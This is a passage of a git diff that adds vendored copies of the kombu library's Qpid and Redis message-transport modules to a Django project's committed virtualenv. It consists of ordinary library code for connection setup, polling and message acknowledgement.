behavior of note is where multiple messages are + ready, and this method removes a single '0' character from + self.r, but :meth:`drain_events` may handle an arbitrary amount of + messages. In that case, extra '0' characters may be left on self.r + to be read, where messages corresponding with those '0' characters + have already been handled. The external epoll loop will incorrectly + think additional data is ready for reading, and will call + on_readable unnecessarily, once for each '0' to be read. Additional + calls to :meth:`on_readable` produce no negative side effects, + and will eventually clear out the symbols from the self.r file + descriptor. If new messages show up during this draining period, + they will also be properly handled. + + :param connection: The connection associated with the readable + events, which contains the callbacks that need to be called for + the readable objects. + :type connection: kombu.transport.qpid.Connection + :param loop: The asynchronous loop object that contains epoll like + functionality. + :type loop: kombu.asynchronous.Hub + + """ + os.read(self.r, 1) + try: + self.drain_events(connection) + except socket.timeout: + pass + + def register_with_event_loop(self, connection, loop): + """Register a file descriptor and callback with the loop. + + Register the callback self.on_readable to be called when an + external epoll loop sees that the file descriptor registered is + ready for reading. The file descriptor is created by this Transport, + and is written to when a message is available. + + Because supports_ev == True, Celery expects to call this method to + give the Transport an opportunity to register a read file descriptor + for external monitoring by celery using an Event I/O notification + mechanism such as epoll. A callback is also registered that is to + be called once the external epoll loop is ready to handle the epoll + event associated with messages that are ready to be handled for + this Transport. + + The registration call is made exactly once per Transport after the + Transport is instantiated. + + :param connection: A reference to the connection associated with + this Transport. + :type connection: kombu.transport.qpid.Connection + :param loop: A reference to the external loop. + :type loop: kombu.asynchronous.hub.Hub + + """ + self.r, self._w = os.pipe() + if fcntl is not None: + fcntl.fcntl(self.r, fcntl.F_SETFL, os.O_NONBLOCK) + self.use_async_interface = True + loop.add_reader(self.r, self.on_readable, connection, loop) + + def establish_connection(self): + """Establish a Connection object. + + Determines the correct options to use when creating any + connections needed by this Transport, and create a + :class:`Connection` object which saves those values for + connections generated as they are needed. The options are a + mixture of what is passed in through the creator of the + Transport, and the defaults provided by + :meth:`default_connection_params`. Options cover broker network + settings, timeout behaviors, authentication, and identity + verification settings. + + This method also creates and stores a + :class:`~qpid.messaging.endpoints.Session` using the + :class:`~qpid.messaging.endpoints.Connection` created by this + method. The Session is stored on self. + + :return: The created :class:`Connection` object is returned. + :rtype: :class:`Connection` + + """ + conninfo = self.client + for name, default_value in self.default_connection_params.items(): + if not getattr(conninfo, name, None): + setattr(conninfo, name, default_value) + if conninfo.ssl: + conninfo.qpid_transport = 'ssl' + conninfo.transport_options['ssl_keyfile'] = conninfo.ssl[ + 'keyfile'] + conninfo.transport_options['ssl_certfile'] = conninfo.ssl[ + 'certfile'] + conninfo.transport_options['ssl_trustfile'] = conninfo.ssl[ + 'ca_certs'] + if conninfo.ssl['cert_reqs'] == ssl.CERT_REQUIRED: + conninfo.transport_options['ssl_skip_hostname_check'] = False + else: + conninfo.transport_options['ssl_skip_hostname_check'] = True + else: + conninfo.qpid_transport = 'tcp' + + credentials = {} + if conninfo.login_method is None: + if conninfo.userid is not None and conninfo.password is not None: + sasl_mech = 'PLAIN' + credentials['username'] = conninfo.userid + credentials['password'] = conninfo.password + elif conninfo.userid is None and conninfo.password is not None: + raise Exception( + 'Password configured but no username. SASL PLAIN ' + 'requires a username when using a password.') + elif conninfo.userid is not None and conninfo.password is None: + raise Exception( + 'Username configured but no password. SASL PLAIN ' + 'requires a password when using a username.') + else: + sasl_mech = 'ANONYMOUS' + else: + sasl_mech = conninfo.login_method + if conninfo.userid is not None: + credentials['username'] = conninfo.userid + + opts = { + 'host': conninfo.hostname, + 'port': conninfo.port, + 'sasl_mechanisms': sasl_mech, + 'timeout': conninfo.connect_timeout, + 'transport': conninfo.qpid_transport + } + + opts.update(credentials) + opts.update(conninfo.transport_options) + + conn = self.Connection(**opts) + conn.client = self.client + self.session = conn.get_qpid_connection().session() + self.session.set_message_received_notify_handler( + self._qpid_message_ready_handler + ) + conn.get_qpid_connection().set_async_exception_notify_handler( + self._qpid_async_exception_notify_handler + ) + self.session.set_async_exception_notify_handler( + self._qpid_async_exception_notify_handler + ) + return conn + + def close_connection(self, connection): + """Close the :class:`Connection` object. + + :param connection: The Connection that should be closed. + :type connection: :class:`kombu.transport.qpid.Connection` + + """ + connection.close() + + def drain_events(self, connection, timeout=0, **kwargs): + """Handle and call callbacks for all ready Transport messages. + + Drains all events that are ready from all + :class:`~qpid.messaging.endpoints.Receiver` that are asynchronously + fetching messages. + + For each drained message, the message is called to the appropriate + callback. Callbacks are organized by queue name. + + :param connection: The :class:`~kombu.transport.qpid.Connection` that + contains the callbacks, indexed by queue name, which will be called + by this method. + :type connection: kombu.transport.qpid.Connection + :keyword timeout: The timeout that limits how long this method will + run for. The timeout could interrupt a blocking read that is + waiting for a new message, or cause this method to return before + all messages are drained. Defaults to 0. + :type timeout: int + + """ + start_time = monotonic() + elapsed_time = -1 + while elapsed_time < timeout: + try: + receiver = self.session.next_receiver(timeout=timeout) + message = receiver.fetch() + queue = receiver.source + except QpidEmpty: + raise socket.timeout() + else: + connection._callbacks[queue](message) + elapsed_time = monotonic() - start_time + raise socket.timeout() + + def create_channel(self, connection): + """Create and return a :class:`~kombu.transport.qpid.Channel`. + + Creates a new channel, and appends the channel to the + list of channels known by the Connection. Once the new + channel is created, it is returned. + + :param connection: The connection that should support the new + :class:`~kombu.transport.qpid.Channel`. + :type connection: kombu.transport.qpid.Connection + + :return: The new Channel that is made. + :rtype: :class:`kombu.transport.qpid.Channel`. + + """ + channel = connection.Channel(connection, self) + connection.channels.append(channel) + return channel + + @property + def default_connection_params(self): + """Return a dict with default connection parameters. + + These connection parameters will be used whenever the creator of + Transport does not specify a required parameter. + + :return: A dict containing the default parameters. + :rtype: dict + + """ + return { + 'hostname': 'localhost', + 'port': 5672, + } + + def __del__(self): + """Ensure file descriptors opened in __init__() are closed.""" + if getattr(self, 'use_async_interface', False): + for fd in (self.r, self._w): + try: + os.close(fd) + except OSError: + # ignored + pass diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/transport/redis.py b/django_lottopy/lib/python3.10/site-packages/kombu/transport/redis.py new file mode 100644 index 00000000..cc861995 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/transport/redis.py @@ -0,0 +1,1425 @@ +"""Redis transport module for Kombu. + +Features +======== +* Type: Virtual +* Supports Direct: Yes +* Supports Topic: Yes +* Supports Fanout: Yes +* Supports Priority: Yes +* Supports TTL: No + +Connection String +================= +Connection string has the following format: + +.. code-block:: + + redis://[USER:PASSWORD@]REDIS_ADDRESS[:PORT][/VIRTUALHOST] + rediss://[USER:PASSWORD@]REDIS_ADDRESS[:PORT][/VIRTUALHOST] + +To use sentinel for dynamic Redis discovery, +the connection string has following format: + +.. code-block:: + + sentinel://[USER:PASSWORD@]SENTINEL_ADDRESS[:PORT] + +Transport Options +================= +* ``sep`` +* ``ack_emulation``: (bool) If set to True transport will + simulate Acknowledge of AMQP protocol. +* ``unacked_key`` +* ``unacked_index_key`` +* ``unacked_mutex_key`` +* ``unacked_mutex_expire`` +* ``visibility_timeout`` +* ``unacked_restore_limit`` +* ``fanout_prefix`` +* ``fanout_patterns`` +* ``global_keyprefix``: (str) The global key prefix to be prepended to all keys + used by Kombu +* ``socket_timeout`` +* ``socket_connect_timeout`` +* ``socket_keepalive`` +* ``socket_keepalive_options`` +* ``queue_order_strategy`` +* ``max_connections`` +* ``health_check_interval`` +* ``retry_on_timeout`` +* ``priority_steps`` +""" + +import functools +import numbers +import socket +from bisect import bisect +from collections import namedtuple +from contextlib import contextmanager +from queue import Empty +from time import time + +from vine import promise + +from kombu.exceptions import InconsistencyError, VersionMismatch +from kombu.log import get_logger +from kombu.utils.compat import register_after_fork +from kombu.utils.encoding import bytes_to_str +from kombu.utils.eventio import ERR, READ, poll +from kombu.utils.functional import accepts_argument +from kombu.utils.json import dumps, loads +from kombu.utils.objects import cached_property +from kombu.utils.scheduling import cycle_by_name +from kombu.utils.url import _parse_url + +from . import virtual + +try: + import redis +except ImportError: # pragma: no cover + redis = None + +try: + from redis import sentinel +except ImportError: # pragma: no cover + sentinel = None + + +logger = get_logger('kombu.transport.redis') +crit, warn = logger.critical, logger.warn + +DEFAULT_PORT = 6379 +DEFAULT_DB = 0 + +DEFAULT_HEALTH_CHECK_INTERVAL = 25 + +PRIORITY_STEPS = [0, 3, 6, 9] + +error_classes_t = namedtuple('error_classes_t', ( + 'connection_errors', 'channel_errors', +)) + + +# This implementation may seem overly complex, but I assure you there is +# a good reason for doing it this way. +# +# Consuming from several connections enables us to emulate channels, +# which means we can have different service guarantees for individual +# channels. +# +# So we need to consume messages from multiple connections simultaneously, +# and using epoll means we don't have to do so using multiple threads. +# +# Also it means we can easily use PUBLISH/SUBSCRIBE to do fanout +# exchanges (broadcast), as an alternative to pushing messages to fanout-bound +# queues manually. + + +def get_redis_error_classes(): + """Return tuple of redis error classes.""" + from redis import exceptions + + # This exception suddenly changed name between redis-py versions + if hasattr(exceptions, 'InvalidData'): + DataError = exceptions.InvalidData + else: + DataError = exceptions.DataError + return error_classes_t( + (virtual.Transport.connection_errors + ( + InconsistencyError, + socket.error, + IOError, + OSError, + exceptions.ConnectionError, + exceptions.AuthenticationError, + exceptions.TimeoutError)), + (virtual.Transport.channel_errors + ( + DataError, + exceptions.InvalidResponse, + exceptions.ResponseError)), + ) + + +def get_redis_ConnectionError(): + """Return the redis ConnectionError exception class.""" + from redis import exceptions + return exceptions.ConnectionError + + +class MutexHeld(Exception): + """Raised when another party holds the lock.""" + + +@contextmanager +def Mutex(client, name, expire): + """Acquire redis lock in non blocking way. + + Raise MutexHeld if not successful. + """ + lock = client.lock(name, timeout=expire) + lock_acquired = False + try: + lock_acquired = lock.acquire(blocking=False) + if lock_acquired: + yield + else: + raise MutexHeld() + finally: + if lock_acquired: + try: + lock.release() + except redis.exceptions.LockNotOwnedError: + # when lock is expired + pass + + +def _after_fork_cleanup_channel(channel): + channel._after_fork() + + +class GlobalKeyPrefixMixin: + """Mixin to provide common logic for global key prefixing. + + Overriding all the methods used by Kombu with the same key prefixing logic + would be cumbersome and inefficient. Hence, we override the command + execution logic that is called by all commands. + """ + + PREFIXED_SIMPLE_COMMANDS = [ + "HDEL", + "HGET", + "HSET", + "LLEN", + "LPUSH", + "PUBLISH", + "RPUSH", + "RPOP", + "SADD", + "SREM", + "SET", + "SMEMBERS", + "ZADD", + "ZREM", + "ZREVRANGEBYSCORE", + ] + + PREFIXED_COMPLEX_COMMANDS = { + "DEL": {"args_start": 0, "args_end": None}, + "BRPOP": {"args_start": 0, "args_end": -1}, + "EVALSHA": {"args_start": 2, "args_end": 3}, + } + + def _prefix_args(self, args): + args = list(args) + command = args.pop(0) + + if command in self.PREFIXED_SIMPLE_COMMANDS: + args[0] = self.global_keyprefix + str(args[0]) + elif command in self.PREFIXED_COMPLEX_COMMANDS: + args_start = self.PREFIXED_COMPLEX_COMMANDS[command]["args_start"] + args_end = self.PREFIXED_COMPLEX_COMMANDS[command]["args_end"] + + pre_args = args[:args_start] if args_start > 0 else [] + post_args = [] + + if args_end is not None: + post_args = args[args_end:] + + args = pre_args + [ + self.global_keyprefix + str(arg) + for arg in args[args_start:args_end] + ] + post_args + + return [command, *args] + + def parse_response(self, connection, command_name, **options): + """Parse a response from the Redis server. + + Method wraps ``redis.parse_response()`` to remove prefixes of keys + returned by redis command. + """ + ret = super().parse_response(connection, command_name, **options) + if command_name == 'BRPOP' and ret: + key, value = ret + key = key[len(self.global_keyprefix):] + return key, value + return ret + + def execute_command(self, *args, **kwargs): + return super().execute_command(*self._prefix_args(args), **kwargs) + + def pipeline(self, transaction=True, shard_hint=None): + return PrefixedRedisPipeline( + self.connection_pool, + self.response_callbacks, + transaction, + shard_hint, + global_keyprefix=self.global_keyprefix, + ) + + +class PrefixedStrictRedis(GlobalKeyPrefixMixin, redis.Redis): + """Returns a ``StrictRedis`` client that prefixes the keys it uses.""" + + def __init__(self, *args, **kwargs): + self.global_keyprefix = kwargs.pop('global_keyprefix', '') + redis.Redis.__init__(self, *args, **kwargs) + + def pubsub(self, **kwargs): + return PrefixedRedisPubSub( + self.connection_pool, + global_keyprefix=self.global_keyprefix, + **kwargs, + ) + + +class PrefixedRedisPipeline(GlobalKeyPrefixMixin, redis.client.Pipeline): + """Custom Redis pipeline that takes global_keyprefix into consideration. + + As the ``PrefixedStrictRedis`` client uses the `global_keyprefix` to prefix + the keys it uses, the pipeline called by the client must be able to prefix + the keys as well. + """ + + def __init__(self, *args, **kwargs): + self.global_keyprefix = kwargs.pop('global_keyprefix', '') + redis.client.Pipeline.__init__(self, *args, **kwargs) + + +class PrefixedRedisPubSub(redis.client.PubSub): + """Redis pubsub client that takes global_keyprefix into consideration.""" + + PUBSUB_COMMANDS = ( + "SUBSCRIBE", + "UNSUBSCRIBE", + "PSUBSCRIBE", + "PUNSUBSCRIBE", + ) + + def __init__(self, *args, **kwargs): + self.global_keyprefix = kwargs.pop('global_keyprefix', '') + super().__init__(*args, **kwargs) + + def _prefix_args(self, args): + args = list(args) + command = args.pop(0) + + if command in self.PUBSUB_COMMANDS: + args = [ + self.global_keyprefix + str(arg) + for arg in args + ] + + return [command, *args] + + def parse_response(self, *args, **kwargs): + """Parse a response from the Redis server. + + Method wraps ``PubSub.parse_response()`` to remove prefixes of keys + returned by redis command. + """ + ret = super().parse_response(*args, **kwargs) + if ret is None: + return ret + + # response formats + # SUBSCRIBE and UNSUBSCRIBE + # -> [message type, channel, message] + # PSUBSCRIBE and PUNSUBSCRIBE + # -> [message type, pattern, channel, message] + message_type, *channels, message = ret + return [ + message_type, + *[channel[len(self.global_keyprefix):] for channel in channels], + message, + ] + + def execute_command(self, *args, **kwargs): + return super().execute_command(*self._prefix_args(args), **kwargs) + + +class QoS(virtual.QoS): + """Redis Ack Emulation.""" + + restore_at_shutdown = True + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + self._vrestore_count = 0 + + def append(self, message, delivery_tag): + delivery = message.delivery_info + EX, RK = delivery['exchange'], delivery['routing_key'] + # TODO: Remove this once we soley on Redis-py 3.0.0+ + if redis.VERSION[0] >= 3: + # Redis-py changed the format of zadd args in v3.0.0 + zadd_args = [{delivery_tag: time()}] + else: + zadd_args = [time(), delivery_tag] + + with self.pipe_or_acquire() as pipe: + pipe.zadd(self.unacked_index_key, *zadd_args) \ + .hset(self.unacked_key, delivery_tag, + dumps([message._raw, EX, RK])) \ + .execute() + super().append(message, delivery_tag) + + def restore_unacked(self, client=None): + with self.channel.conn_or_acquire(client) as client: + for tag in self._delivered: + self.restore_by_tag(tag, client=client) + self._delivered.clear() + + def ack(self, delivery_tag): + self._remove_from_indices(delivery_tag).execute() + super().ack(delivery_tag) + + def reject(self, delivery_tag, requeue=False): + if requeue: + self.restore_by_tag(delivery_tag, leftmost=True) + self.ack(delivery_tag) + + @contextmanager + def pipe_or_acquire(self, pipe=None, client=None): + if pipe: + yield pipe + else: + with self.channel.conn_or_acquire(client) as client: + yield client.pipeline() + + def _remove_from_indices(self, delivery_tag, pipe=None): + with self.pipe_or_acquire(pipe) as pipe: + return pipe.zrem(self.unacked_index_key, delivery_tag) \ + .hdel(self.unacked_key, delivery_tag) + + def restore_visible(self, start=0, num=10, interval=10): + self._vrestore_count += 1 + if (self._vrestore_count - 1) % interval: + return + with self.channel.conn_or_acquire() as client: + ceil = time() - self.visibility_timeout + try: + with Mutex(client, self.unacked_mutex_key, + self.unacked_mutex_expire): + visible = client.zrevrangebyscore( + self.unacked_index_key, ceil, 0, + start=num and start, num=num, withscores=True) + for tag, score in visible or []: + self.restore_by_tag(tag, client) + except MutexHeld: + pass + + def restore_by_tag(self, tag, client=None, leftmost=False): + + def restore_transaction(pipe): + p = pipe.hget(self.unacked_key, tag) + pipe.multi() + self._remove_from_indices(tag, pipe) + if p: + M, EX, RK = loads(bytes_to_str(p)) # json is unicode + self.channel._do_restore_message(M, EX, RK, pipe, leftmost) + + with self.channel.conn_or_acquire(client) as client: + client.transaction(restore_transaction, self.unacked_key) + + @cached_property + def unacked_key(self): + return self.channel.unacked_key + + @cached_property + def unacked_index_key(self): + return self.channel.unacked_index_key + + @cached_property + def unacked_mutex_key(self): + return self.channel.unacked_mutex_key + + @cached_property + def unacked_mutex_expire(self): + return self.channel.unacked_mutex_expire + + @cached_property + def visibility_timeout(self): + return self.channel.visibility_timeout + + +class MultiChannelPoller: + """Async I/O poller for Redis transport.""" + + eventflags = READ | ERR + + #: Set by :meth:`get` while reading from the socket. + _in_protected_read = False + + #: Set of one-shot callbacks to call after reading from socket. + after_read = None + + def __init__(self): + # active channels + self._channels = set() + # file descriptor -> channel map. + self._fd_to_chan = {} + # channel -> socket map + self._chan_to_sock = {} + # poll implementation (epoll/kqueue/select) + self.poller = poll() + # one-shot callbacks called after reading from socket. + self.after_read = set() + + def close(self): + for fd in self._chan_to_sock.values(): + try: + self.poller.unregister(fd) + except (KeyError, ValueError): + pass + self._channels.clear() + self._fd_to_chan.clear() + self._chan_to_sock.clear() + + def add(self, channel): + self._channels.add(channel) + + def discard(self, channel): + self._channels.discard(channel) + + def _on_connection_disconnect(self, connection): + try: + self.poller.unregister(connection._sock) + except (AttributeError, TypeError): + pass + + def _register(self, channel, client, type): + if (channel, client, type) in self._chan_to_sock: + self._unregister(channel, client, type) + if client.connection._sock is None: # not connected yet. + client.connection.connect() + sock = client.connection._sock + self._fd_to_chan[sock.fileno()] = (channel, type) + self._chan_to_sock[(channel, client, type)] = sock + self.poller.register(sock, self.eventflags) + + def _unregister(self, channel, client, type): + self.poller.unregister(self._chan_to_sock[(channel, client, type)]) + + def _client_registered(self, channel, client, cmd): + if getattr(client, 'connection', None) is None: + client.connection = client.connection_pool.get_connection('_') + return (client.connection._sock is not None and + (channel, client, cmd) in self._chan_to_sock) + + def _register_BRPOP(self, channel): + """Enable BRPOP mode for channel.""" + ident = channel, channel.client, 'BRPOP' + if not self._client_registered(channel, channel.client, 'BRPOP'): + channel._in_poll = False + self._register(*ident) + if not channel._in_poll: # send BRPOP + channel._brpop_start() + + def _register_LISTEN(self, channel): + """Enable LISTEN mode for channel.""" + if not self._client_registered(channel, channel.subclient, 'LISTEN'): + channel._in_listen = False + self._register(channel, channel.subclient, 'LISTEN') + if not channel._in_listen: + channel._subscribe() # send SUBSCRIBE + + def on_poll_start(self): + for channel in self._channels: + if channel.active_queues: # BRPOP mode? + if channel.qos.can_consume(): + self._register_BRPOP(channel) + if channel.active_fanout_queues: # LISTEN mode? + self._register_LISTEN(channel) + + def on_poll_init(self, poller): + self.poller = poller + for channel in self._channels: + return channel.qos.restore_visible( + num=channel.unacked_restore_limit, + ) + + def maybe_restore_messages(self): + for channel in self._channels: + if channel.active_queues: + # only need to do this once, as they are not local to channel. + return channel.qos.restore_visible( + num=channel.unacked_restore_limit, + ) + + def maybe_check_subclient_health(self): + for channel in self._channels: + # only if subclient property is cached + client = channel.__dict__.get('subclient') + if client is not None \ + and callable(getattr(client, 'check_health', None)): + client.check_health() + + def on_readable(self, fileno): + chan, type = self._fd_to_chan[fileno] + if chan.qos.can_consume(): + chan.handlers[type]() + + def handle_event(self, fileno, event): + if event & READ: + return self.on_readable(fileno), self + elif event & ERR: + chan, type = self._fd_to_chan[fileno] + chan._poll_error(type) + + def get(self, callback, timeout=None): + self._in_protected_read = True + try: + for channel in self._channels: + if channel.active_queues: # BRPOP mode? + if channel.qos.can_consume(): + self._register_BRPOP(channel) + if channel.active_fanout_queues: # LISTEN mode? + self._register_LISTEN(channel) + + events = self.poller.poll(timeout) + if events: + for fileno, event in events: + ret = self.handle_event(fileno, event) + if ret: + return + # - no new data, so try to restore messages. + # - reset active redis commands. + self.maybe_restore_messages() + raise Empty() + finally: + self._in_protected_read = False + while self.after_read: + try: + fun = self.after_read.pop() + except KeyError: + break + else: + fun() + + @property + def fds(self): + return self._fd_to_chan + + +class Channel(virtual.Channel): + """Redis Channel.""" + + QoS = QoS + + _client = None + _subclient = None + _closing = False + supports_fanout = True + keyprefix_queue = '_kombu.binding.%s' + keyprefix_fanout = '/{db}.' + sep = '\x06\x16' + _in_poll = False + _in_listen = False + _fanout_queues = {} + ack_emulation = True + unacked_key = 'unacked' + unacked_index_key = 'unacked_index' + unacked_mutex_key = 'unacked_mutex' + unacked_mutex_expire = 300 # 5 minutes + unacked_restore_limit = None + visibility_timeout = 3600 # 1 hour + priority_steps = PRIORITY_STEPS + socket_timeout = None + socket_connect_timeout = None + socket_keepalive = None + socket_keepalive_options = None + retry_on_timeout = None + max_connections = 10 + health_check_interval = DEFAULT_HEALTH_CHECK_INTERVAL + #: Transport option to disable fanout keyprefix. + #: Can also be string, in which case it changes the default + #: prefix ('/{db}.') into to something else. The prefix must + #: include a leading slash and a trailing dot. + #: + #: Enabled by default since Kombu 4.x. + #: Disable for backwards compatibility with Kombu 3.x. + fanout_prefix = True + + #: If enabled the fanout exchange will support patterns in routing + #: and binding keys (like a topic exchange but using PUB/SUB). + #: + #: Enabled by default since Kombu 4.x. + #: Disable for backwards compatibility with Kombu 3.x. + fanout_patterns = True + + #: The global key prefix will be prepended to all keys used + #: by Kombu, which can be useful when a redis database is shared + #: by different users. By default, no prefix is prepended. + global_keyprefix = '' + + #: Order in which we consume from queues. + #: + #: Can be either string alias, or a cycle strategy class + #: + #: - ``round_robin`` + #: (:class:`~kombu.utils.scheduling.round_robin_cycle`). + #: + #: Make sure each queue has an equal opportunity to be consumed from. + #: + #: - ``sorted`` + #: (:class:`~kombu.utils.scheduling.sorted_cycle`). + #: + #: Consume from queues in alphabetical order. + #: If the first queue in the sorted list always contains messages, + #: then the rest of the queues will never be consumed from. + #: + #: - ``priority`` + #: (:class:`~kombu.utils.scheduling.priority_cycle`). + #: + #: Consume from queues in original order, so that if the first + #: queue always contains messages, the rest of the queues + #: in the list will never be consumed from. + #: + #: The default is to consume from queues in round robin. + queue_order_strategy = 'round_robin' + + _async_pool = None + _pool = None + + from_transport_options = ( + virtual.Channel.from_transport_options + + ('sep', + 'ack_emulation', + 'unacked_key', + 'unacked_index_key', + 'unacked_mutex_key', + 'unacked_mutex_expire', + 'visibility_timeout', + 'unacked_restore_limit', + 'fanout_prefix', + 'fanout_patterns', + 'global_keyprefix', + 'socket_timeout', + 'socket_connect_timeout', + 'socket_keepalive', + 'socket_keepalive_options', + 'queue_order_strategy', + 'max_connections', + 'health_check_interval', + 'retry_on_timeout', + 'priority_steps') # <-- do not add comma here! + ) + + connection_class = redis.Connection if redis else None + connection_class_ssl = redis.SSLConnection if redis else None + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + + if not self.ack_emulation: # disable visibility timeout + self.QoS = virtual.QoS + + self._queue_cycle = cycle_by_name(self.queue_order_strategy)() + self.Client = self._get_client() + self.ResponseError = self._get_response_error() + self.active_fanout_queues = set() + self.auto_delete_queues = set() + self._fanout_to_queue = {} + self.handlers = {'BRPOP': self._brpop_read, 'LISTEN': self._receive} + + if self.fanout_prefix: + if isinstance(self.fanout_prefix, str): + self.keyprefix_fanout = self.fanout_prefix + else: + # previous versions did not set a fanout, so cannot enable + # by default. + self.keyprefix_fanout = '' + + # Evaluate connection. + try: + self.client.ping() + except Exception: + self._disconnect_pools() + raise + + self.connection.cycle.add(self) # add to channel poller. + # copy errors, in case channel closed but threads still + # are still waiting for data. + self.connection_errors = self.connection.connection_errors + + if register_after_fork is not None: + register_after_fork(self, _after_fork_cleanup_channel) + + def _after_fork(self): + self._disconnect_pools() + + def _disconnect_pools(self): + pool = self._pool + async_pool = self._async_pool + + self._async_pool = self._pool = None + + if pool is not None: + pool.disconnect() + + if async_pool is not None: + async_pool.disconnect() + + def _on_connection_disconnect(self, connection): + if self._in_poll is connection: + self._in_poll = None + if self._in_listen is connection: + self._in_listen = None + if self.connection and self.connection.cycle: + self.connection.cycle._on_connection_disconnect(connection) + + def _do_restore_message(self, payload, exchange, routing_key, + pipe, leftmost=False): + try: + try: + payload['headers']['redelivered'] = True + payload['properties']['delivery_info']['redelivered'] = True + except KeyError: + pass + for queue in self._lookup(exchange, routing_key): + (pipe.lpush if leftmost else pipe.rpush)( + queue, dumps(payload), + ) + except Exception: + crit('Could not restore message: %r', payload, exc_info=True) + + def _restore(self, message, leftmost=False): + if not self.ack_emulation: + return super()._restore(message) + tag = message.delivery_tag + + def restore_transaction(pipe): + P = pipe.hget(self.unacked_key, tag) + pipe.multi() + pipe.hdel(self.unacked_key, tag) + if P: + M, EX, RK = loads(bytes_to_str(P)) # json is unicode + self._do_restore_message(M, EX, RK, pipe, leftmost) + + with self.conn_or_acquire() as client: + client.transaction(restore_transaction, self.unacked_key) + + def _restore_at_beginning(self, message): + return self._restore(message, leftmost=True) + + def basic_consume(self, queue, *args, **kwargs): + if queue in self._fanout_queues: + exchange, _ = self._fanout_queues[queue] + self.active_fanout_queues.add(queue) + self._fanout_to_queue[exchange] = queue + ret = super().basic_consume(queue, *args, **kwargs) + + # Update fair cycle between queues. + # + # We cycle between queues fairly to make sure that + # each queue is equally likely to be consumed from, + # so that a very busy queue will not block others. + # + # This works by using Redis's `BRPOP` command and + # by rotating the most recently used queue to the + # and of the list. See Kombu github issue #166 for + # more discussion of this method. + self._update_queue_cycle() + return ret + + def basic_cancel(self, consumer_tag): + # If we are busy reading messages we may experience + # a race condition where a message is consumed after + # canceling, so we must delay this operation until reading + # is complete (Issue celery/celery#1773). + connection = self.connection + if connection: + if connection.cycle._in_protected_read: + return connection.cycle.after_read.add( + promise(self._basic_cancel, (consumer_tag,)), + ) + return self._basic_cancel(consumer_tag) + + def _basic_cancel(self, consumer_tag): + try: + queue = self._tag_to_queue[consumer_tag] + except KeyError: + return + try: + self.active_fanout_queues.remove(queue) + except KeyError: + pass + else: + self._unsubscribe_from(queue) + try: + exchange, _ = self._fanout_queues[queue] + self._fanout_to_queue.pop(exchange) + except KeyError: + pass + ret = super().basic_cancel(consumer_tag) + self._update_queue_cycle() + return ret + + def _get_publish_topic(self, exchange, routing_key): + if routing_key and self.fanout_patterns: + return ''.join([self.keyprefix_fanout, exchange, '/', routing_key]) + return ''.join([self.keyprefix_fanout, exchange]) + + def _get_subscribe_topic(self, queue): + exchange, routing_key = self._fanout_queues[queue] + return self._get_publish_topic(exchange, routing_key) + + def _subscribe(self): + keys = [self._get_subscribe_topic(queue) + for queue in self.active_fanout_queues] + if not keys: + return + c = self.subclient + if c.connection._sock is None: + c.connection.connect() + self._in_listen = c.connection + c.psubscribe(keys) + + def _unsubscribe_from(self, queue): + topic = self._get_subscribe_topic(queue) + c = self.subclient + if c.connection and c.connection._sock: + c.unsubscribe([topic]) + + def _handle_message(self, client, r): + if bytes_to_str(r[0]) == 'unsubscribe' and r[2] == 0: + client.subscribed = False + return + + if bytes_to_str(r[0]) == 'pmessage': + type, pattern, channel, data = r[0], r[1], r[2], r[3] + else: + type, pattern, channel, data = r[0], None, r[1], r[2] + return { + 'type': type, + 'pattern': pattern, + 'channel': channel, + 'data': data, + } + + def _receive(self): + c = self.subclient + ret = [] + try: + ret.append(self._receive_one(c)) + except Empty: + pass + while c.connection is not None and c.connection.can_read(timeout=0): + ret.append(self._receive_one(c)) + return any(ret) + + def _receive_one(self, c): + response = None + try: + response = c.parse_response() + except self.connection_errors: + self._in_listen = None + raise + if isinstance(response, (list, tuple)): + payload = self._handle_message(c, response) + if bytes_to_str(payload['type']).endswith('message'): + channel = bytes_to_str(payload['channel']) + if payload['data']: + if channel[0] == '/': + _, _, channel = channel.partition('.') + try: + message = loads(bytes_to_str(payload['data'])) + except (TypeError, ValueError): + warn('Cannot process event on channel %r: %s', + channel, repr(payload)[:4096], exc_info=1) + raise Empty() + exchange = channel.split('/', 1)[0] + self.connection._deliver( + message, self._fanout_to_queue[exchange]) + return True + + def _brpop_start(self, timeout=1): + queues = self._queue_cycle.consume(len(self.active_queues)) + if not queues: + return + keys = [self._q_for_pri(queue, pri) for pri in self.priority_steps + for queue in queues] + [timeout or 0] + self._in_poll = self.client.connection + + command_args = ['BRPOP', *keys] + if self.global_keyprefix: + command_args = self.client._prefix_args(command_args) + + self.client.connection.send_command(*command_args) + + def _brpop_read(self, **options): + try: + try: + dest__item = self.client.parse_response(self.client.connection, + 'BRPOP', + **options) + except self.connection_errors: + # if there's a ConnectionError, disconnect so the next + # iteration will reconnect automatically. + self.client.connection.disconnect() + raise + if dest__item: + dest, item = dest__item + dest = bytes_to_str(dest).rsplit(self.sep, 1)[0] + self._queue_cycle.rotate(dest) + self.connection._deliver(loads(bytes_to_str(item)), dest) + return True + else: + raise Empty() + finally: + self._in_poll = None + + def _poll_error(self, type, **options): + if type == 'LISTEN': + self.subclient.parse_response() + else: + self.client.parse_response(self.client.connection, type) + + def _get(self, queue): + with self.conn_or_acquire() as client: + for pri in self.priority_steps: + item = client.rpop(self._q_for_pri(queue, pri)) + if item: + return loads(bytes_to_str(item)) + raise Empty() + + def _size(self, queue): + with self.conn_or_acquire() as client: + with client.pipeline() as pipe: + for pri in self.priority_steps: + pipe = pipe.llen(self._q_for_pri(queue, pri)) + sizes = pipe.execute() + return sum(size for size in sizes + if isinstance(size, numbers.Integral)) + + def _q_for_pri(self, queue, pri): + pri = self.priority(pri) + if pri: + return f"{queue}{self.sep}{pri}" + return queue + + def priority(self, n): + steps = self.priority_steps + return steps[bisect(steps, n) - 1] + + def _put(self, queue, message, **kwargs): + """Deliver message.""" + pri = self._get_message_priority(message, reverse=False) + + with self.conn_or_acquire() as client: + client.lpush(self._q_for_pri(queue, pri), dumps(message)) + + def _put_fanout(self, exchange, message, routing_key, **kwargs): + """Deliver fanout message.""" + with self.conn_or_acquire() as client: + client.publish( + self._get_publish_topic(exchange, routing_key), + dumps(message), + ) + + def _new_queue(self, queue, auto_delete=False, **kwargs): + if auto_delete: + self.auto_delete_queues.add(queue) + + def _queue_bind(self, exchange, routing_key, pattern, queue): + if self.typeof(exchange).type == 